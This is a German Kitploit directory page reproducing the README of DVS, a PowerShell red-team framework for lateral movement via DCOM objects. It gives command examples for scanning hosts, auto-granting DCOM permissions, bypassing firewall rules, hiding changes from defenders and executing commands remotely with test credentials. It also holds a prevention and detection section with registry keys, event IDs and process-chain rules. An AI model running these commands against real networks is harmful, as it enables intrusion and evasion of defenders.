Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DVS — D(COM) V(ulnerability) S(canner) AKA tückisches Schweizer Taschenmesser - Lateral Movement mit DCOM-Objekten | Kitploit
Tools/GitHubGitHub/scorpioneslabs/dvs
ExploitationLaterale BewegungPost-ExploitationPenetrationstestsCommand and ControlRed Teaming
GitHubscorpioneslabs/dvs

DVS

D(COM) V(ulnerability) S(canner) AKA tückisches Schweizer Taschenmesser - Lateral Movement mit DCOM-Objekten

Repository anzeigen
256474vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

D(COM) V(ulnerability) S(canner) alias Devious swiss army knife – Laterale Bewegung mittels DCOM-Objekten

Haben Sie sich jemals gefragt, wie Sie sich lateral durch interne Netzwerke bewegen können? Oder mit entfernten Maschinen interagieren können, ohne EDRs zu alarmieren?
Nehmen wir an, wir haben gültige Anmeldedaten oder eine aktive Sitzung mit Zugriff auf eine entfernte Maschine, aber wir haben keine Möglichkeit, einen Prozess remote mit einer bekannten, erwarteten oder stark überwachten Methode auszuführen (z. B. WMI, Task Scheduler, WinRM, PowerShell Remoting).

Das DVS-Framework kommt in diesen Szenarien zur Rettung.

Das DVS-Framework ist ein Schweizer Taschenmesser, mit dem Sie anfällige Funktionen von entfernten DCOM-Objekten enumerieren, starten und sogar Angriffe mit ihnen starten können.
Das Framework wird mit einer "Red Team"-Denkweise entwickelt und verwendet Stealth-Methoden, um entfernte Maschinen zu kompromittieren.
Das DVS-Framework enthält verschiedene Möglichkeiten, die Härtung von DCOM remote zu umgehen, indem der DCOM-Zugriff remote wiederhergestellt und dem angreifenden Benutzer automatisch die erforderlichen Berechtigungen erteilt werden.
Das Framework kann auch Änderungen an der entfernten Maschine auf ihren ursprünglichen Zustand vor dem Angriff zurücksetzen und diese Änderungen vor Verteidigern verbergen.

Unsere Haupterkenntnis ist, dass das Tool auch Befehle mit nicht anfälligen DCOM-Objekten über eine aqsome-Technik ausführen kann (Lesen Sie unten über Invoke-RegisterRemoteSchema).

Kompatibel mit PowerShell 2.0 und höher

YouTube-Video PoC: DVS

Haftungsausschluss

Dieses Tool dient nur zu Test- und Bildungszwecken. Jede andere Nutzung dieses Codes ist nicht gestattet. Verwendung auf eigene Gefahr.
Der Autor übernimmt KEINE Verantwortung für Missbrauch dieses Tools.
Durch die Nutzung akzeptieren Sie, dass jeglicher Schaden, der durch die Verwendung dieses Tools entsteht, Ihre Verantwortung ist.

Registry-Zugriff – wie das DVS-Framework dieses Protokoll nutzt

  • Remote-Registry-Zugriff (MS-RRP)

    1. Überprüfen von Port 445, um mit der entfernten Registry zu interagieren
    2. Prüfen, ob die entfernte Registry aktiviert ist
    3. Mit der entfernten Registry interagieren
    4. Wenn der AutoGrant-Modus markiert ist, Schreibberechtigungen prüfen, andernfalls Leseberechtigungen prüfen
  • Standard Registry Provider (Wenn Remote-Registry verweigert)

    1. Überprüfen von Port 135, um mit dem "Standard Registry Provider" mittels WMI zu interagieren
    2. Prüfen, ob StdRegProv zugänglich ist
    3. Mit dem Standard Registry Provider interagieren
    4. Wenn der AutoGrant-Modus markiert ist, Schreibberechtigungen prüfen, andernfalls Leseberechtigungen prüfen

Warum ist dieses Tool so verdeckt?

Das DVS-Tool prüft zunächst, ob die principal-identity über die folgenden Schritte Zugriff auf die entfernte Maschine hat:

  • Basisaktionen

    1. Authentifizierungsvorgänge (wenn SkipRegAuth nicht markiert ist)
      1. Wenn Anmeldedaten bereitgestellt werden, erstellt es eine "net-only"-Sitzung. Andernfalls wird die aktuell angemeldete Sitzung verwendet.
      2. Registry-Zugriff prüfen.
    2. Prüfen, ob das DCOM-Feature aktiviert ist
    3. DCOM-Zugriff erlauben (wenn AutoGrant markiert), andernfalls Fehler
    4. Prüfen, ob der angemeldete Benutzer/bereitgestellte Benutzer und die Gruppen, in denen der Benutzer Mitglied ist (über das adsi/WindowsIdentity-Feature), berechtigt sind, mit dem DCOM zu interagieren (über entfernte Registry-Abfragen)
    5. Berechtigungen erteilen (wenn AutoGrant markiert), andernfalls Fehler
    6. Domainnamen von der entfernten Maschine mithilfe von NetBIOS über TCP (mit NetAPI32 oder UDP-Paket) auflösen. Bei Fehlschlag wird versucht, die Registry zu verwenden (HKLM- oder HKCU-Hives)
  • Invoke-DCOMObjectScan

    1. Mit DCOM-Objekten interagieren
    2. Das DCOM-Objekt enumerieren und anfällige Funktionen finden
    3. Ausnutzungsmöglichkeit validieren
    4. Ausführungs-Payloads generieren
    5. Persönliche Informationen über das anfällige DCOM-Objekt abrufen
  • Get-ExecutionCommand

    1. Ausführungs-Payloads generieren
  • Invoke-ExecutionCommand

    1. Versuch, mit DCOM-Objekten zu interagieren
    2. Die Befehle ausführen
  • Invoke-RegisterRemoteSchema

    1. Versuch, mit einem der folgenden DCOM-Objekte zu interagieren:
      • InternetExplorer.Application – InternetExplorer COM-Objekt
      • {D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E} – Ein weiteres COM-Objekt von Internet Explorer
      • {C08AFD90-F2A1-11D1-8455-00A0C91F3880} – ShellBrowserWindow
      • {9BA05972-F6A8-11CF-A442-00A0C90A8F39} – ShellWindows
    2. Remote-Schema registrieren (z. B. http://)
    3. Das Schema konfigurieren, um Befehle aus dem Schema-Inhalt auszuführen
    4. Den Befehl ausführen

Tool-Komponenten

  • Sicherheitsrechte-Analysator – Analysiert die Rechte der principal-identity für den Zugriff auf das entfernte DCOM-Objekt
  • Remote-Zugriff erteilen – Erteilt dem angemeldeten Benutzer remote Berechtigungen (falls diese noch nicht erteilt wurden)
  • DCOM-Scanner – Scannt und analysiert entfernte/lokale DCOM-Objekte auf bereitgestellte anfällige Funktionen (Muster und Funktionsnamen müssen angegeben werden). Wenn das Tool eine anfällige Funktion erkennt, prüft es, welche Argumente die Funktion enthält und ob die Funktion Befehle ausführen kann
  • DCOM-Befehlsgenerator – Generiert ein PowerShell-Payload zur Ausführung auf der entfernten Maschine
  • Bericht – Erstellt einen CSV-Bericht mit allen Informationen über das anfällige DCOM-Objekt
  • Befehlsausführung – Befehle über DCOM-Objekte ausführen

Autor

  • Nimrod Levy

Lizenz

  • GPL v3

Getestete Szenarien

  • Von außerhalb der Domäne in die Domäne
  • Von innerhalb der Domäne zu einer anderen domänenverbundenen Maschine
  • Von der Domäne zu einer außerhalb der Domäne
  • Von der aktuellen Sitzung zu einer anderen domänenverbundenen Maschine

Getestete Betriebssysteme

  • Windows 7 SP1
  • Windows 8.1
  • Windows 10
  • Windows Server 2019

Danksagungen

  • Dank an Rafel Ivgi für die Mentorschaft und Hilfe bei der Architekturdenkweise des Tools.
  • Dank an Yossi Sasi für die Hilfe bei der Optimierung des Skripts.
  • Dank an Gleb Glazkov für das Schreiben des Abschnitts zu Maßnahmen und Prävention

Installation:

root@kitploit:~
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed  # Get details of the Invoke-DCOMObjectScan command
PS> Get-Help Get-ExecutionCommand -Detailed # Get details of the Get-ExecutionCommand command
PS> Get-Help Invoke-ExecutionCommand -Detailed # Get details of the Invoke-ExecutionCommand command
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Get details of the Invoke-RegisterRemoteSchema command

Invoke-DCOMObjectScan

Die Funktion Invoke-DCOMObjectScan ermöglicht es Ihnen, DCOM-Objekte zu scannen und anfällige Funktionen über eine Liste von Mustern oder genauen Funktionsnamen zu finden, die Sie in eine Datei aufgenommen haben.

  • Beispiele:

    1. Enumeriert und scannt das MMC20.Application (ProgID)-Objekt von der Angreifermaschine zum DC01-Host, ohne die Registry abzufragen.

      root@kitploit:~
         Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
      

    Hinweis: Das Tool analysiert keine ACL-Berechtigungen. Wenn das Tool erfolgreich ist, löst es alle Informationen über das Objekt auf, mit Ausnahme der in der Registry genannten Details (wie Objektname, ausführbare Datei usw.).

    1. Überprüft, ob das MMC20.Application (ProgID)-Objekt von der Angreifermaschine zum DC01-Host zugänglich ist, ohne zuerst die Zugriffsliste des DCOM-Objekts abzufragen und zu verifizieren.

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
      
    2. Validiert, ob MMC20.Application (ProgID) über den Bereich 10.211.55.4/24 anwendbar ist. Falls vorhanden, versucht das Tool, die Informationen darüber zu enumerieren (unter Verwendung der aktuell angemeldeten Benutzersitzung).

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
      
    3. Validiert, ob die CLSID {00020812-0000-0000-C000-000000000046} über die IP-Adresse 10.211.55.4 vorhanden und zugänglich ist. Falls vorhanden, löst das Tool die Informationen darüber auf (unter Verwendung der Anmeldedaten lab\administrator).

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose   
      
    4. Scannt alle Objekte, die in einem angegebenen Pfad gespeichert sind (z. B. C:\Users\USERNAME\Desktop\DVS\objects.txt), über die IP-Adresse 10.211.55.4, und findet die Funktionsliste in der angegebenen Datei wie vulnerable.txt unter Verwendung der Anmeldedaten lab\administrator mit der folgenden Konfiguration:
      Maximale Tiefe: 4
      Maximale Ergebnisse: 1 (1 Ergebnis pro Objekt)
      AutoGrant-Modus: Wenn wir keinen Zugriff auf das Objekt haben oder das DCOM-Feature deaktiviert ist, aktivieren Sie das DCOM-Feature und führen Sie eine automatische Berechtigungserteilung für das entsprechende DCOM-Objekt durch.
      Abschließend wird die Maschine in den gleichen Zustand wie vor dem Angriff zurückgesetzt.

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
      
    5. Scannt alle Objekte, die auf den verfügbaren entfernten Maschinen im Bereich 10.211.55.1/24 gespeichert sind, und findet potenziell anfällige Funktionen aus der Liste in der ausgewählten Datei (z. B. C:\Users\USERNAME\Desktop\DVS\vulnerable.txt), schließt die Objekte in der ausgewählten Datei aus (z. B. C:\Users\USERNAME\Desktop\DVS\exclude.txt) und überspringt Eigenschaften mit demselben Namen auf anderen Routen desselben Objekts.
      HINWEIS: Das Flag SkipSameProperyName könnte anfällige Funktionen übersehen, wenn derselbe Eigenschaftsname mit unterschiedlichen Präferenzen (Methoden/andere Eigenschaften) oder einer anderen Tiefenkette vorhanden ist.

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All  -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
      

Get-ExecutionCommand

Die Funktion Get-ExecutionCommand ermöglicht die Generierung eines PowerShell-Payloads, das mit der entfernten DCOM-Funktion interagiert und diese mit den relevanten Parametern ausführt.

  • Beispiele:
    1. Überprüft, ob die principal-identity berechtigt ist, mit dem CLSID-Objekt {00020812-0000-0000-C000-000000000046} über die IP-Adresse 10.211.55.4 mit den Anmeldedaten lab\administrator zu interagieren. Anschließend wird der Ausführungsbefehl generiert.

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
      
    2. Überprüft den DCOM-Zugriff.
      Falls die principal-identity nicht über die erforderlichen Berechtigungen verfügt oder das DCOM-Feature deaktiviert ist, aktiviert das Tool das DCOM-Feature, gewährt Identitätszugriff und interagiert mit dem MMC20.Application (ProgID)-Objekt über die IP-Adresse 10.211.55.4 mit den Anmeldedaten lab\administrator und generiert den Ausführungsbefehl.
      Abschließend wird die Maschine in den gleichen Zustand wie vor dem Angriff zurückgesetzt.

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
      
    3. Versucht, mit dem MMC20.Application (ProgID)-Objekt über den Bereich 10.211.55.1/24 unter Verwendung der aktuell angemeldeten Sitzung zu interagieren, ohne ACL-Berechtigungen zu analysieren. Anschließend wird der Ausführungsbefehl generiert.

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
      
    4. Versucht, mit dem MMC20.Application (ProgID)-Objekt über die IP-Adresse 10.211.55.4 zu interagieren, ohne die Registry abzufragen.

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
      

Invoke-ExecutionCommand

Die Funktion Invoke-ExecutionCommand ermöglicht die Ausführung von Befehlen über ein DCOM-Objekt mit dem angemeldeten Benutzer oder bereitgestellten Anmeldedaten.

  • Beispiele:

    1. Überprüft den DCOM-Zugriff.
      Falls die principal-identity nicht über die erforderlichen Berechtigungen verfügt oder das DCOM-Feature deaktiviert ist, aktiviert das Tool das DCOM-Feature, gewährt Zugriff, interagiert mit dem MMC20.Application (ProgID)-Objekt über den Bereich 10.211.55.1/24 unter Verwendung der aktuell angemeldeten Benutzersitzung und führt die folgenden Befehle aus:

      1. Führt den Befehl cmd.exe /c calc aus

      2. Setzt das Attribut Frame.Top auf 1 Abschließend wird die Maschine in den gleichen Zustand wie vor dem Angriff zurückgesetzt.

        root@kitploit:~
         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
        
    2. Versucht, mit dem MMC20.Application (ProgID)-Objekt mit den Anmeldedaten lab\administrator über die IP-Adresse 10.211.55.4 zu interagieren und führt den folgenden Befehl aus: cmd.exe /c calc.

      root@kitploit:~
         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
      
    3. Versucht, mit dem MMC20.Application (ProgID)-Objekt mit der aktuell angemeldeten Benutzersitzung zu interagieren, ohne ACL-Berechtigungen zu analysieren, und führt den folgenden Befehl aus: cmd.exe /c calc.

      root@kitploit:~
         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
      

Invoke-RegisterRemoteSchema

Die Funktion Invoke-RegisterRemoteSchema ermöglicht die Ausführung von Befehlen über die folgenden DCOM-Objekte mit dem angemeldeten Benutzer oder bereitgestellten Anmeldedaten:

  • ShellBrowserWindow
  • ShellWindows
  • Internet Explorer
  • ielowutil.exe

Hinweis: Diese DCOM-Objekte benötigen keinen Zugriff auf die lokale Maschinen-Hive. Sie können mit jedem Benutzer, der auf die entfernte Maschine zugreifen kann, Fuß fassen!

  • Beispiele:
    1. Führt den Befehl cmd /c calc im Bereich 10.211.55.1/24 mit der aktuell angemeldeten Sitzung aus und gewährt bei Bedarf Berechtigungen.

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
      
    2. Führt den Befehl cmd /c calc auf der entfernten Maschine 10.211.55.4 mit bereitgestellten Anmeldedaten aus.

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
      

Zukünftige Arbeiten

  • Firewallregeln remote analysieren und ändern

Maßnahmen und Empfehlungen

MITRE Technique: T1021.003 - Remote Services: Distributed Component Object Model

Prävention

  • Remote-DCOM-Zugriff deaktivieren

    • Überlegungen:
      • Von DCOM abhängige Drittanbieteranwendungen
      • Die Remote-Systemverwaltung mit "Windows Management Instrumentation" funktioniert nicht
      • Mögliche Probleme mit COM-Objekten
  • Remote-Registry-Zugriff verweigern, falls nicht erforderlich

    Beide Optionen sind in einer Unternehmensumgebung schwer zu implementieren, ohne die Verfügbarkeit zu beeinträchtigen.

    Dennoch kann es eine gute Härtungsoption für Endpunkte sein, die keine Remote-Verwaltung der Domäne benötigen (z. B. eigenständige Endpunkte).

  • Domain- und private Profile in der Windows Defender-Firewall aktivieren

    • Das DVS-Tool umgeht diese Sicherheitskontrolle, indem es eine Regel in der Firewall erstellt, die jede dynamische RPC-Verbindung zulässt
  • Auf die Verwendung von LAPS umsteigen, um die Angriffsfläche zu reduzieren. Wenn jeder Computer in der Domäne ein anderes lokales Administratorkennwort hat, kann dieses Konto nicht für laterale Bewegungen verwendet werden.

  • Härtung von Benutzerzugriffsrechten kann diesen Angriff verhindern

    • Durch Gruppenrichtlinienobjekte kann eine Organisation administrators, users und andere Gruppen aus der Liste entfernen und auf eine spezielle Gruppe/einen speziellen Benutzer für die zentrale Verwaltung umsteigen, die nicht interaktiv auf andere Computer zugreift

      root@kitploit:~
      [Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
      

      In offiziellen Härtungsleitfäden wie CIS lautet die empfohlene Einstellung für [Access this computer from the network] mit den Werten "administrators und Remote Desktop Users oder Authenticated users". Diese Empfehlungen sind anfällig für das DVS-Tool.

  • Härten Sie die DCOM-Berechtigungen, indem Sie die Rechte von administrators aus den Berechtigungen entfernen – Remote Launch und Remote Activation.

    • [Computer Configuration\Windows Settings\Local Policies\Security Options\DCOM]: Machine Launch Restrictions in Security Descriptor Definition Language (SDDL) syntax
  • Verwenden Sie eine hostbasierte Firewall / anwendungsbewusste Firewall, um den DCOM-Zugriff zwischen Computern zu blockieren. Insbesondere für einen Computer, der nicht Teil der IT- oder Verwaltungsinfrastruktur ist.

  • Anwendungssteuerungsregeln können als letzter Kreis von Sicherheitskontrollen verwendet werden, um zu verhindern, dass anfällige Prozesse gefährliche untergeordnete Prozesse spawnen oder DLLs laden.
    Beispiele:

    root@kitploit:~
    mmc.exe -> cmd.exe
    explorer.exe -> regsvr.exe
    visio.exe -> wmic.exe
    excel.exe -> Rundll32.exe
    outlook.exe -> cmd.exe
    
  • Microsoft-Regeln zur Reduzierung der Angriffsfläche können verwendet werden, um zu verhindern, dass anfällige Prozesse gefährliche untergeordnete Prozesse spawnen.

Erkennung

  • Überwachen Sie Änderungen in der Registry an den folgenden Stellen:

    root@kitploit:~
       [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
    

    Dieser Schlüssel enthält die DCOM-Berechtigungseinstellungen. Wenn sie geändert werden, kann dies bedeuten, dass ein Angreifer, der das DVS-Tool verwendet hat, die Härtung entfernt hat.

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
    

    "Die Unterschlüssel und Registrierungswerte, die dem Schlüssel [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] zugeordnet sind, enthalten Informationen über eine Anwendung, die zur Unterstützung der COM-Funktionalität erforderlich sind. Diese Informationen umfassen Themen wie unterstützte Datenformate, Kompatibilitätsinformationen, programmatische Bezeichner, DCOM und Steuerelemente." Microsoft dev center referense

    root@kitploit:~
      [MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
    

    Diese Schlüsseländerung kann darauf hindeuten, dass das DVS-Tool die DCOM-Einschränkungen für remote activation und Remote Launch deaktiviert hat.

  • Verwenden Sie eine anwendungsbewusste Firewall, um den DCOM-Zugriff zwischen Computern zu blockieren. Insbesondere von einem Computer, der nicht Teil der IT- oder Verwaltungsinfrastruktur ist.

  • Ein Intrusion-Prevention-System (z. B. Snort, Suricata) kann verwendet werden, um das DCOM-Protokoll zu erkennen, das auf RPC (MS-RPC, MS-RPCE) und dem Remote-Registry-Protokoll (MS-RRP) basiert.

    • Possible Snort rule
  • Überwachen Sie die Windows Defender-Firewall, indem Sie das Überwachungsprotokoll für blockierten Datenverkehr für Domänen- und private Profile aktivieren.

  • Überwachen Sie Änderungen am folgenden Schlüssel. Dies kann darauf hindeuten, dass das DVS-Tool eine Regel erstellt hat, um die dynamischen RPC-Einschränkungen der Microsoft Defender-Firewall zu umgehen.

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
    
  • Überwachen Sie Windows-Ereignisprotokolle:Enable audit of events. Audit settings that should be enabled on success and failure: Kontoanmeldeereignisse überwachen | Anmeldeereignisse überwachen | Objektzugriff überwachen | NTLM-Überwachung

    Browse to this registry key: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] Create new DWORDs with value of '1' called ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel

    • 4624 (Successful Logon) - A blue team can create correlation of events to catch connections from remote machines to DCOM. An example:
      • event ID 4624 - Logon
      • Account Name: SYSTEM
      • Process Name: C:\Windows\System32\services.exe
    • 4680 (Unkown user or bad password) - Will occur when using a wrong user or password
    • 4688 (Process Creation) - Monitor vulnerable processes that create dangerous sub processes using an administrative user. Example:
      • Creator Process Name: C:\Windows\System32\mmc.exe -> New Process Name: C:\Windows\System32\cmd.exe
      • Creator Process Name: C:\Windows\System32\svchost.exe -> New Process Name: C:\Windows\System32\mmc.exe
    • 8002 (NTLM) - Audit Incoming NTLM Traffic that would be blocked. Example:
      • Calling process name: C:\Windows\System32\mmc.exe
      • Calling process user identity: USER
      • Calling process domain identity: DOMAIN
    • 8003 (NTLM) - Audit NTLM authentication in this domain. Example:
      • User: User
      • Domain: DOMAIN
      • Workstation: ATTACKER
      • Process: C:\Windows\System32\mmc.exe / C:\Windows\System32\dllhost.exe / C:\Windows\System32\svchost.exe / C:\Program Files\Internet Explorer\iexplore.exe
      • Logon type: 3
    • 10010 (Microsoft-Windows-DistributedCOM) - The server %1 did not register with DCOM within the required timeout.
    • 10014 (Microsoft-Windows-DistributedCOM) - for failed CLSID activasion due to disabled remote activation settings for COM+.
    • 10015 (Microsoft-Windows-DistributedCOM) - failed DCOM execution due to insufficient permissions.
    • 10016 (Microsoft-Windows-DistributedCOM) - failed DCOM execution due to insufficient permissions. Example:
      • The machine-default permission settings do not grant Local Activation permission for the COM Server application with CLSID {C2F03A33-21F5-47FA-B4BB-156362A2F239} and APPID {316CDED5-E4AE-4B15-9113-7055D84DCC97} to the user DOMAIN\Scorpiones
Tool herunterladen
  • 10021 (Microsoft-Windows-DistributedCOM) - The launch and activation security descriptor for the COM Server application with APPID {0000000} is invalid.